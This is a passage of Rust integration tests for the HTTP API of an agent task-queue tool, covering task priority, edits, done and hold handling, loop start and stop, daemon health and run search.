12105 "x".to_owned(),
12106 PathBuf::from("/repo/magi"),
12107 Source::Human,
12108 );
12109 older.id = "20260101-000001-aaaa".to_owned();
12110 let mut newer = Task::new(
12111 "filed second".to_owned(),
12112 "x".to_owned(),
12113 PathBuf::from("/repo/magi"),
12114 Source::Human,
12115 );
12116 newer.id = "20260101-000002-bbbb".to_owned();
12117 queue.put(&mut older).expect("file older");
12118 queue.put(&mut newer).expect("file newer");
12119
12120 let before = f.get("/api/queue").await.json();
12123 assert_eq!(before[0]["id"], newer.id);
12124 assert_eq!(before[1]["id"], older.id);
12125
12126 let raised = f
12130 .post(
12131 &format!("/api/queue/{}/priority", older.id),
12132 Some(r#"{"priority":10}"#),
12133 )
12134 .await;
12135 assert_eq!(raised.status, 200, "{}", raised.body);
12136 assert_eq!(raised.json()["priority"], 10);
12137
12138 let after = f.get("/api/queue").await.json();
12139 let names: Vec<&str> = after
12140 .as_array()
12141 .unwrap()
12142 .iter()
12143 .map(|t| t["id"].as_str().unwrap())
12144 .collect();
12145 assert_eq!(names[0], older.id, "the raised task now sorts first");
12149 }
12150
12151 #[tokio::test]
12152 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
12153 let dir = TempDir::new().unwrap();
12154 let repo = dir.path().join("repo");
12155 std::fs::create_dir(&repo).unwrap();
12156 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
12157 let q = Queue::at(dir.path().join("queue"));
12158 let ui = Arc::new(Ui::new(
12159 q.clone(),
12160 Questions::at(dir.path().join("questions")),
12161 Talks::at(dir.path().join("talks")),
12162 dir.path().join("runs"),
12163 dir.path().to_path_buf(),
12164 repo.clone(),
12165 ));
12166 let mut t = Task::new(
12167 "seats".into(),
12168 "keep instruction".into(),
12169 repo,
12170 Source::Human,
12171 );
12172 t.runs.push("prior-run".into());
12173 t.hold_manual(Some("waiting".into()));
12174 q.put(&mut t).unwrap();
12175 let change = |count| {
12176 queue_implementers(
12177 State(ui.clone()),
12178 Path(t.id.clone()),
12179 Ok(Json(ImplementersBody {
12180 implementers: count,
12181 })),
12182 )
12183 };
12184 for count in [2, 1, 2] {
12185 let response = change(count).await.unwrap();
12186 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
12187 let saved = q.get(&t.id).unwrap();
12188 assert_eq!(saved.implementers(), Some(usize::from(count)));
12189 assert_eq!(saved.runs, t.runs);
12190 assert_eq!(saved.instruction, t.instruction);
12191 }
12192 for count in [0, 4] {
12193 assert_eq!(
12194 change(count).await.err().unwrap().status,
12195 StatusCode::BAD_REQUEST
12196 );
12197 }
12198 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
12199 let claim = q.claim(&t.id).unwrap();
12200 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
12201 drop(claim);
12202 for status in [
12203 TaskStatus::Running,
12204 TaskStatus::Done,
12205 TaskStatus::Failed,
12206 TaskStatus::Blocked,
12207 TaskStatus::Parked,
12208 ] {
12209 let mut stored = q.get(&t.id).unwrap();
12210 stored.status = status;
12211 q.put(&mut stored).unwrap();
12212 assert_eq!(
12213 change(1).await.err().unwrap().status,
12214 StatusCode::BAD_REQUEST
12215 );
12216 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
12217 }
12218 }
12219
12220 #[tokio::test]
12221 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
12222 let f = Fixture::start().await;
12223 let queue = f.queue();
12224 let mut task = Task::new(
12225 "in flight".to_owned(),
12226 "x".to_owned(),
12227 PathBuf::from("/repo/magi"),
12228 Source::Human,
12229 );
12230 task.start("20260902-140502-bbbb".to_owned());
12231 queue.put(&mut task).expect("file the task");
12232
12233 let res = f
12234 .post(
12235 &format!("/api/queue/{}/priority", task.id),
12236 Some(r#"{"priority":9}"#),
12237 )
12238 .await;
12239 assert_eq!(res.status, 400, "{}", res.body);
12240 assert!(
12241 res.json()["error"]
12242 .as_str()
12243 .is_some_and(|e| e.contains("running")),
12244 "{}",
12245 res.body
12246 );
12247 assert_eq!(
12248 queue.get(&task.id).expect("reload").priority,
12249 0,
12250 "the refused write must not partially apply"
12251 );
12252 }
12253
12254 #[tokio::test]
12255 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
12256 let f = Fixture::start().await;
12257 let queue = f.queue();
12258 let mut task = Task::new(
12259 "old title".to_owned(),
12260 "old instruction".to_owned(),
12261 PathBuf::from("/repo/magi"),
12262 Source::Agent {
12263 run: "20260101-000000-beef".to_owned(),
12264 node: "implement".to_owned(),
12265 },
12266 );
12267 task.runs.push("20260101-000000-beef".to_owned());
12268 queue.put(&mut task).expect("file the task");
12269 let created_at = task.created_at;
12270
12271 let edited = f
12272 .post(
12273 &format!("/api/queue/{}/edit", task.id),
12274 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
12275 )
12276 .await;
12277 assert_eq!(edited.status, 200, "{}", edited.body);
12278 let body = edited.json();
12279 assert_eq!(body["title"], "new title");
12280 assert_eq!(body["instruction"], "new instruction");
12281 assert_eq!(body["id"], task.id, "editing must not mint a new id");
12282 assert_eq!(body["created_at"], created_at.to_string());
12283 assert_eq!(
12284 body["source"]["kind"], "agent",
12285 "editing a task an agent filed must not turn it human: {body}"
12286 );
12287 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
12288
12289 let reloaded = queue.get(&task.id).expect("reload");
12290 assert_eq!(reloaded.title, "new title");
12291 assert_eq!(reloaded.instruction, "new instruction");
12292 }
12293
12294 #[tokio::test]
12295 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
12296 let tmp = TempDir::new().expect("tempdir");
12299 let repo = tmp.path().join("repo");
12300 std::fs::create_dir_all(&repo).expect("repo dir");
12301 let judge = MOCK_AGENT_TOML.replace(
12302 "printf ok",
12303 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
12304 );
12305 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
12306 let f = Fixture::with_repo(repo.clone()).await;
12307 let queue = f.queue();
12308 let mut owner = Task::new(
12309 "owner".to_owned(),
12310 "review it".to_owned(),
12311 repo.clone(),
12312 Source::Human,
12313 );
12314 owner.review_branch = Some("magi/ab12/A".to_owned());
12315 queue.put(&mut owner).expect("file the owner");
12316 let mut task = Task::new(
12317 "draft".to_owned(),
12318 "old".to_owned(),
12319 repo.clone(),
12320 Source::Human,
12321 );
12322 queue.put(&mut task).expect("file the draft");
12323 let url = format!("/api/queue/{}/edit", task.id);
12324
12325 let refused = f
12326 .post(
12327 &url,
12328 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
12329 )
12330 .await;
12331 assert_eq!(refused.status, 409, "{}", refused.body);
12332 let msg = refused.json()["error"]
12333 .as_str()
12334 .unwrap_or_default()
12335 .to_owned();
12336 assert!(
12337 msg.contains("magi/ab12/A") && msg.contains("force"),
12338 "{msg}"
12339 );
12340 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
12341
12342 let forced = f
12343 .post(
12344 &url,
12345 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
12346 )
12347 .await;
12348 assert_eq!(forced.status, 200, "{}", forced.body);
12349 }
12350
12351 #[tokio::test]
12352 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
12353 let f = Fixture::start().await;
12354 let queue = f.queue();
12355 let mut task = Task::new(
12356 "in flight".to_owned(),
12357 "do not touch".to_owned(),
12358 PathBuf::from("/repo/magi"),
12359 Source::Human,
12360 );
12361 task.start("20260902-140502-bbbb".to_owned());
12362 queue.put(&mut task).expect("file the task");
12363
12364 let res = f
12365 .post(
12366 &format!("/api/queue/{}/edit", task.id),
12367 Some(r#"{"title":"x","instruction":"y"}"#),
12368 )
12369 .await;
12370 assert_eq!(res.status, 400, "{}", res.body);
12371 assert!(
12372 res.json()["error"]
12373 .as_str()
12374 .is_some_and(|e| e.contains("running")),
12375 "{}",
12376 res.body
12377 );
12378 assert_eq!(
12379 queue.get(&task.id).expect("reload").instruction,
12380 "do not touch",
12381 "the refused edit must not change the file"
12382 );
12383 }
12384
12385 #[tokio::test]
12386 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
12387 let f = Fixture::start().await;
12388 let queue = f.queue();
12389 let mut task = Task::new(
12390 "busy".to_owned(),
12391 "Running right now".to_owned(),
12392 PathBuf::from("/repo/magi"),
12393 Source::Human,
12394 );
12395 queue.put(&mut task).expect("file the task");
12396 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
12397
12398 let priority = f
12399 .post(
12400 &format!("/api/queue/{}/priority", task.id),
12401 Some(r#"{"priority":9}"#),
12402 )
12403 .await;
12404 assert_eq!(priority.status, 409, "{}", priority.body);
12405
12406 let edit = f
12407 .post(
12408 &format!("/api/queue/{}/edit", task.id),
12409 Some(r#"{"title":"x","instruction":"y"}"#),
12410 )
12411 .await;
12412 assert_eq!(edit.status, 409, "{}", edit.body);
12413 }
12414
12415 #[tokio::test]
12416 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
12417 let f = Fixture::start().await;
12418 let queue = f.queue();
12419 let mut task = Task::new(
12420 "shipped by hand".to_owned(),
12421 "merged outside the loop".to_owned(),
12422 PathBuf::from("/repo/magi"),
12423 Source::Agent {
12424 run: "20260101-000000-b455".to_owned(),
12425 node: "implement".to_owned(),
12426 },
12427 );
12428 task.runs.push("20260101-000000-b455".to_owned());
12429 task.runs.push("20260101-000000-9af4".to_owned());
12430 queue.put(&mut task).expect("file the task");
12431 let created_at = task.created_at;
12432
12433 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12434 assert_eq!(done.status, 200, "{}", done.body);
12435 assert_eq!(done.json()["status_str"], "done");
12436
12437 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
12438 assert_eq!(
12439 reloaded.runs,
12440 ["20260101-000000-b455", "20260101-000000-9af4"]
12441 );
12442 assert_eq!(
12443 reloaded.source,
12444 Source::Agent {
12445 run: "20260101-000000-b455".to_owned(),
12446 node: "implement".to_owned(),
12447 }
12448 );
12449 assert_eq!(reloaded.created_at, created_at);
12450 }
12451
12452 #[tokio::test]
12453 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
12454 let f = Fixture::start().await;
12459 let queue = f.queue();
12460 let mut task = Task::new(
12461 "landed while held".to_owned(),
12462 "x".to_owned(),
12463 PathBuf::from("/repo/magi"),
12464 Source::Human,
12465 );
12466 task.hold_manual(Some("waiting on 3ed9".to_owned()));
12467 queue.put(&mut task).expect("file the held task");
12468
12469 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12470 assert_eq!(done.status, 200, "{}", done.body);
12471 assert_eq!(done.json()["status_str"], "done");
12472 assert!(
12473 done.json()["hold_reason"].is_null(),
12474 "a done task cannot still be waiting on something: {}",
12475 done.body
12476 );
12477 }
12478
12479 #[tokio::test]
12480 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
12481 let f = Fixture::start().await;
12486 let queue = f.queue();
12487 let runs = f.runs();
12488 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
12489 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
12493
12494 let mut task = Task::new(
12495 "landed by hand".to_owned(),
12496 "x".to_owned(),
12497 PathBuf::from("/repo/magi"),
12498 Source::Human,
12499 );
12500 task.runs.push("20260101-000000-doa1".to_owned());
12501 task.runs.push("20260101-000000-doa2".to_owned());
12502 queue.put(&mut task).expect("file the task");
12503
12504 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12505 assert_eq!(done.status, 200, "{}", done.body);
12506
12507 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
12508 .expect("run still on disk under this fixture's own home");
12509 assert_eq!(
12510 reloaded_run.status,
12511 RunStatus::Superseded,
12512 "closing the task by hand must relabel the earlier blocked attempt exactly \
12513 like the loop's own settle path does"
12514 );
12515 }
12516
12517 #[tokio::test]
12518 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
12519 let f = Fixture::start().await;
12524 let queue = f.queue();
12525 let runs = f.runs();
12526 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
12527 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
12528
12529 let mut task = Task::new(
12530 "closed with nothing actually landed".to_owned(),
12531 "x".to_owned(),
12532 PathBuf::from("/repo/magi"),
12533 Source::Human,
12534 );
12535 task.runs.push("20260101-000000-dob1".to_owned());
12536 task.runs.push("20260101-000000-dob2".to_owned());
12537 queue.put(&mut task).expect("file the task");
12538
12539 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12540 assert_eq!(done.status, 200, "{}", done.body);
12541
12542 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
12543 .expect("run still on disk under this fixture's own home");
12544 assert_eq!(
12545 reloaded_run.status,
12546 RunStatus::Blocked,
12547 "the last recorded attempt never landed, so the earlier one must not be \
12548 relabelled as superseded by it"
12549 );
12550 }
12551
12552 #[tokio::test]
12553 async fn unknown_ids_are_json_not_found_on_both_stores() {
12554 let f = Fixture::start().await;
12555
12556 let run = f.get("/api/runs/nosuchrun").await;
12557 let task = f.post("/api/queue/nosuchtask/hold", None).await;
12558
12559 assert_eq!(run.status, 404);
12560 assert_eq!(task.status, 404);
12561 assert!(
12562 run.json()["error"]
12563 .as_str()
12564 .is_some_and(|e| e.contains("run")),
12565 "the error names what was not found: {}",
12566 run.body
12567 );
12568 assert!(
12569 task.json()["error"]
12570 .as_str()
12571 .is_some_and(|e| e.contains("task")),
12572 "the error names what was not found: {}",
12573 task.body
12574 );
12575 }
12576
12577 #[tokio::test]
12578 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
12579 let f = Fixture::start().await;
12580
12581 let missing = f.get("/api/health").await.json();
12582 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
12583
12584 write_daemon(
12585 f.home.path(),
12586 Timestamp::now() - jiff::SignedDuration::from_secs(60),
12587 );
12588 let stale = f.get("/api/health").await.json();
12589 assert_eq!(
12590 stale["daemon"]["running"], false,
12591 "a minute without a heartbeat is a dead daemon, not a busy one"
12592 );
12593 assert!(
12594 stale["daemon"]["stale_for_secs"]
12595 .as_i64()
12596 .is_some_and(|s| s >= 55),
12597 "staleness is reported so the UI can say how long: {stale}"
12598 );
12599
12600 write_daemon(f.home.path(), Timestamp::now());
12601 let fresh = f.get("/api/health").await.json();
12602 assert_eq!(fresh["daemon"]["running"], true);
12603 assert_eq!(fresh["daemon"]["idle"], false);
12604 assert_eq!(fresh["daemon"]["pid"], 4242);
12605 assert_eq!(fresh["daemon"]["completed"], 7);
12606 assert_eq!(
12607 fresh["daemon"]["current"][0]["task"],
12608 "20260902-140501-aaaa"
12609 );
12610 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
12611 }
12612
12613 #[tokio::test]
12614 async fn the_loop_is_not_running_until_something_starts_it() {
12615 let f = Fixture::start().await;
12616
12617 let view = f.get("/api/loop").await.json();
12618 assert_eq!(view["running"], false);
12619 assert_eq!(
12620 view["owned"], false,
12621 "nobody owns a loop that does not exist: {view}"
12622 );
12623 assert_eq!(view["stopping"], false);
12624 assert_eq!(view["last_error"], Value::Null);
12625 assert_eq!(view["daemon"]["running"], false);
12626 assert_eq!(
12627 view["repo"], "/repo/magi",
12628 "the repository a start would use, named before it is started"
12629 );
12630 }
12631
12632 #[tokio::test]
12633 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
12634 let f = Fixture::start().await;
12635
12636 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12637 assert_eq!(res.status, 200, "{}", res.body);
12638 let view = res.json();
12639 assert_eq!(view["running"], true);
12640 assert_eq!(
12641 view["owned"], true,
12642 "the loop the UI started is the UI's own to stop: {view}"
12643 );
12644 assert_eq!(
12645 view["merge"],
12646 Value::Null,
12647 "no override was given, so each repository's own config decides"
12648 );
12649
12650 let health = f.get("/api/health").await.json();
12654 assert_eq!(health["loop"]["running"], true, "{health}");
12655 assert_eq!(health["loop"]["owned"], true, "{health}");
12656
12657 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12658 }
12659
12660 #[tokio::test]
12661 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
12662 let f = Fixture::start().await;
12663 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12664 assert_eq!(first.status, 200, "{}", first.body);
12665
12666 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12667 assert_eq!(
12668 again.status, 409,
12669 "two loops on one queue race for the same claims: {}",
12670 again.body
12671 );
12672 assert!(
12673 again.json()["error"]
12674 .as_str()
12675 .is_some_and(|e| e.contains("already running the loop")),
12676 "the refusal has to say why: {}",
12677 again.body
12678 );
12679 assert_eq!(
12680 f.get("/api/loop").await.json()["running"],
12681 true,
12682 "and the loop that was already running is untouched by it"
12683 );
12684
12685 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12686 }
12687
12688 #[tokio::test]
12689 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
12690 let f = Fixture::start().await;
12691 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12692
12693 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12694 assert_eq!(
12695 res.status, 200,
12696 "the answer must not wait for the loop: a run in flight is tens of \
12697 minutes and the operator is holding a phone: {}",
12698 res.body
12699 );
12700
12701 let view = settled(&f, |v| v["running"] == false).await;
12702 assert_eq!(view["owned"], false);
12703 assert_eq!(
12704 view["stopping"], false,
12705 "a loop that has stopped is not still stopping: {view}"
12706 );
12707 assert_eq!(
12708 view["last_error"],
12709 Value::Null,
12710 "a loop that was asked to stop did not fail: {view}"
12711 );
12712
12713 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12716 assert_eq!(twice.status, 200, "{}", twice.body);
12717 }
12718
12719 #[tokio::test]
12720 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
12721 let f = Fixture::start().await;
12722 write_daemon(f.home.path(), Timestamp::now());
12725
12726 let view = f.get("/api/loop").await.json();
12727 assert_eq!(view["running"], false, "not in this process: {view}");
12728 assert_eq!(view["owned"], false, "and not this process's to control");
12729 assert_eq!(
12730 view["daemon"]["running"], true,
12731 "but a loop is alive somewhere, which is what the UI must say"
12732 );
12733 assert_eq!(view["daemon"]["pid"], 4242);
12734
12735 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
12736 let res = f.post("/api/loop", Some(body)).await;
12737 assert_eq!(
12738 res.status, 409,
12739 "neither button may pretend to work on someone else's loop: {}",
12740 res.body
12741 );
12742 assert!(
12743 res.json()["error"]
12744 .as_str()
12745 .is_some_and(|e| e.contains("4242")),
12746 "the refusal has to name the process the operator must go to: {}",
12747 res.body
12748 );
12749 }
12750 assert_eq!(
12751 f.get("/api/loop").await.json()["running"],
12752 false,
12753 "and the refusal started nothing"
12754 );
12755 }
12756
12757 #[tokio::test]
12758 async fn a_stale_status_file_is_not_a_foreign_owner() {
12759 let f = Fixture::start().await;
12760 write_daemon(
12761 f.home.path(),
12762 Timestamp::now() - jiff::SignedDuration::from_secs(60),
12763 );
12764
12765 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12766 assert_eq!(
12767 res.status, 200,
12768 "a daemon killed a minute ago must not lock the loop out of its \
12769 own home for good: {}",
12770 res.body
12771 );
12772 assert_eq!(res.json()["running"], true);
12773
12774 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12775 }
12776
12777 #[tokio::test]
12778 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
12779 let f = Fixture::start().await;
12780 let before = f.get("/api/health").await.json()["loop_rev"]
12781 .as_u64()
12782 .expect("a loop revision");
12783
12784 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12785
12786 let after = f.get("/api/health").await.json()["loop_rev"]
12787 .as_u64()
12788 .expect("a loop revision");
12789 assert!(
12790 after > before,
12791 "the loop is in-process state, so this counter is the only thing \
12792 that tells a second device the first one started it: {before} -> \
12793 {after}"
12794 );
12795
12796 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12797 }
12798
12799 #[tokio::test]
12800 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
12801 let f = Fixture::with_loop(launch_broken).await;
12802
12803 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12804 assert_eq!(
12805 res.status, 200,
12806 "starting it is not the failure: {}",
12807 res.body
12808 );
12809
12810 let view = settled(&f, |v| v["last_error"].is_string()).await;
12811 assert_eq!(
12812 view["running"], false,
12813 "a loop that died must not read as running, or the operator has \
12814 nothing to press: {view}"
12815 );
12816 assert_eq!(view["owned"], false);
12817 assert!(
12818 view["last_error"]
12819 .as_str()
12820 .is_some_and(|e| e.contains("read-only file system")),
12821 "the phone is where a loop that died at 3am is visible: {view}"
12822 );
12823
12824 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12827 assert_eq!(again.status, 200, "{}", again.body);
12828 assert!(
12829 again.json()["last_error"]
12830 .as_str()
12831 .is_none_or(|e| !e.contains("read-only file system")),
12832 "a fresh start does not keep showing why the last one died: {}",
12833 again.body
12834 );
12835 }
12836
12837 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
12849 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
12850 let home = TempDir::new().expect("temp home");
12851 let runs = home.path().join("runs");
12852 std::fs::create_dir_all(&runs).expect("runs dir");
12853 let ui = Ui::new(
12854 Queue::at(home.path().join("queue")),
12855 Questions::at(home.path().join("questions")),
12856 Talks::at(home.path().join("talks")),
12857 runs,
12858 home.path().to_path_buf(),
12859 PathBuf::from("/repo/magi"),
12860 )
12861 .with_worktrees_root(home.path().join("wt"))
12862 .with_launch(launch_knocking_on_the_way_out);
12863 let looping = ui.looping();
12864 let turns = ui.turns();
12865 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12866 .await
12867 .expect("bind loopback");
12868 let addr = listener.local_addr().expect("local addr");
12869 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
12870 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12871
12872 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
12873 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
12874
12875 let bound = std::sync::Mutex::new(None);
12890 hand_over(
12891 home.path(),
12892 &looping,
12893 &turns,
12894 &|_: &[String]| Duration::from_secs(5),
12895 served,
12896 |_| {
12897 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
12898 let attempt = loop {
12899 match std::net::TcpListener::bind(addr) {
12900 Ok(l) => {
12901 drop(l);
12902 break Ok(());
12903 }
12904 Err(e)
12905 if e.kind() == std::io::ErrorKind::AddrInUse
12906 && std::time::Instant::now() < deadline =>
12907 {
12908 std::thread::sleep(std::time::Duration::from_millis(10));
12909 }
12910 Err(e) => break Err(e.to_string()),
12911 }
12912 };
12913 *bound.lock().expect("bound") = Some(attempt);
12914 Ok(1)
12915 },
12916 )
12917 .await
12918 .expect("hand over");
12919
12920 assert_eq!(
12921 *PARK_HEARD.lock().expect("park heard"),
12922 Some(200),
12923 "the deck must answer while the loop is parking"
12924 );
12925 let attempt = bound
12926 .lock()
12927 .expect("bound")
12928 .take()
12929 .expect("the successor was started");
12930 assert!(
12931 attempt.is_ok(),
12932 "and the address must be free by the time it is: {attempt:?}"
12933 );
12934 }
12935
12936 #[tokio::test]
12937 async fn a_newer_daemon_status_file_still_renders() {
12938 let f = Fixture::start().await;
12939 std::fs::write(
12942 f.home.path().join("daemon.json"),
12943 serde_json::json!({
12944 "schema": 2,
12945 "updated_at": Timestamp::now().to_string(),
12946 "idle": true,
12947 "surprise": { "nested": [1, 2, 3] },
12948 })
12949 .to_string(),
12950 )
12951 .expect("write daemon.json");
12952
12953 let health = f.get("/api/health").await;
12954
12955 assert_eq!(health.status, 200);
12956 assert_eq!(health.json()["daemon"]["running"], true);
12957 }
12958
12959 #[tokio::test]
12960 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
12961 let f = Fixture::start().await;
12962 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12963 let broken = f.runs().join("20260902-140502-bad");
12964 std::fs::create_dir_all(&broken).expect("run dir");
12965 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12966
12967 let list = f.get("/api/runs").await;
12968 let detail = f.get("/api/runs/20260902-140502-bad").await;
12969
12970 assert_eq!(list.status, 200);
12971 let listed = list.json();
12972 let ids: Vec<&str> = listed
12973 .as_array()
12974 .expect("an array")
12975 .iter()
12976 .map(|r| r["id"].as_str().expect("an id"))
12977 .collect();
12978 assert_eq!(
12979 ids,
12980 vec!["20260902-140501-good"],
12981 "one unreadable run must not cost the operator the whole history"
12982 );
12983 assert_eq!(detail.status, 500);
12984 assert!(
12985 detail.json()["error"]
12986 .as_str()
12987 .is_some_and(|e| e.contains("run.json")),
12988 "the failure names the file to look at: {}",
12989 detail.body
12990 );
12991 let health = f.get("/api/health").await;
12995 assert_eq!(health.json()["runs_unreadable"], 1);
12996 }
12997
12998 #[tokio::test]
13000 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
13001 let f = Fixture::start().await;
13002 let runs = f.runs();
13003 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
13004 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
13005 let path = runs.join("20260902-140502-bbbb").join("run.json");
13008 let mut v: serde_json::Value =
13009 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
13010 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
13011 std::fs::write(&path, v.to_string()).unwrap();
13012 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
13013 std::fs::write(
13014 runs.join("20260902-140503-cccc").join("run.json"),
13015 "{ not json",
13016 )
13017 .unwrap();
13018
13019 let res = f.get("/api/search?scope=runs&q=quokka").await;
13020 assert_eq!(res.status, 200, "{}", res.body);
13021 let v = res.json();
13022 assert_eq!(v["total"], 1, "{v}");
13023 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
13024 assert_eq!(v["hits"][0]["field"], "text");
13025 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
13026 let parts = v["hits"][0]["snippet"].as_array().unwrap();
13027 assert!(
13028 parts
13029 .iter()
13030 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
13031 "{v}"
13032 );
13033 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
13034 assert_eq!(
13035 flat, "The Quokka leaks across threads",
13036 "whitespace is collapsed"
13037 );
13038
13039 let both = f
13041 .get("/api/search?scope=runs&q=MOBILE%20quokka")
13042 .await
13043 .json();
13044 assert_eq!(both["total"], 1, "{both}");
13045 let neither = f
13046 .get("/api/search?scope=runs&q=quokka%20zebra")
13047 .await
13048 .json();
13049 assert_eq!(neither["total"], 0, "{neither}");
13050 let stmt = f
13052 .get("/api/search?scope=runs&q=mobile%20first")
13053 .await
13054 .json();
13055 assert_eq!(stmt["total"], 2, "{stmt}");
13056 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
13057 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
13058 }
13059
13060 #[test]
13061 fn snippet_ignores_terms_longer_than_the_field() {
13062 let terms = ["ok".to_owned(), "elephant".to_owned()];
13063 let parts = snippet_of("ok", &terms);
13064 assert_eq!(
13065 parts,
13066 vec![SnippetPart {
13067 text: "ok".to_owned(),
13068 hit: true
13069 }]
13070 );
13071 }
13072
13073 #[test]
13074 fn snippet_marks_matches_longer_than_the_window() {
13075 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
13076 let hit_len = |parts: &[SnippetPart]| -> usize {
13077 parts
13078 .iter()
13079 .filter(|p| p.hit)
13080 .map(|p| p.text.chars().count())
13081 .sum()
13082 };
13083 let total =
13084 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
13085
13086 let long = "a".repeat(120);
13087 let parts = snippet_of(&long, std::slice::from_ref(&long));
13088 assert!(hit_len(&parts) > 0, "{parts:?}");
13089 assert!(total(&parts) <= cap);
13090
13091 let ja = "あ".repeat(130);
13092 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
13093 assert!(hit_len(&parts) > 0, "{parts:?}");
13094 assert!(total(&parts) <= cap);
13095
13096 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
13098 let term = format!("ab{}", "c".repeat(100));
13099 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
13100 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
13101 assert!(total(&parts) <= cap);
13102
13103 let text = format!("{}z", "a".repeat(119));
13105 let parts = snippet_of(&text, &["a".repeat(120)]);
13106 assert_eq!(hit_len(&parts), 0, "{parts:?}");
13107 }
13108
13109 #[tokio::test]
13110 async fn search_caps_hits_and_snippet_length() {
13111 let f = Fixture::start().await;
13112 let runs = f.runs();
13113 for n in 0..(SEARCH_MAX_HITS + 5) {
13114 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
13115 }
13116 let v = f.get("/api/search?scope=runs&q=web").await.json();
13117 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
13118 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
13119 assert_eq!(v["truncated"], true);
13120 assert!(
13122 v["hits"]
13123 .as_array()
13124 .unwrap()
13125 .iter()
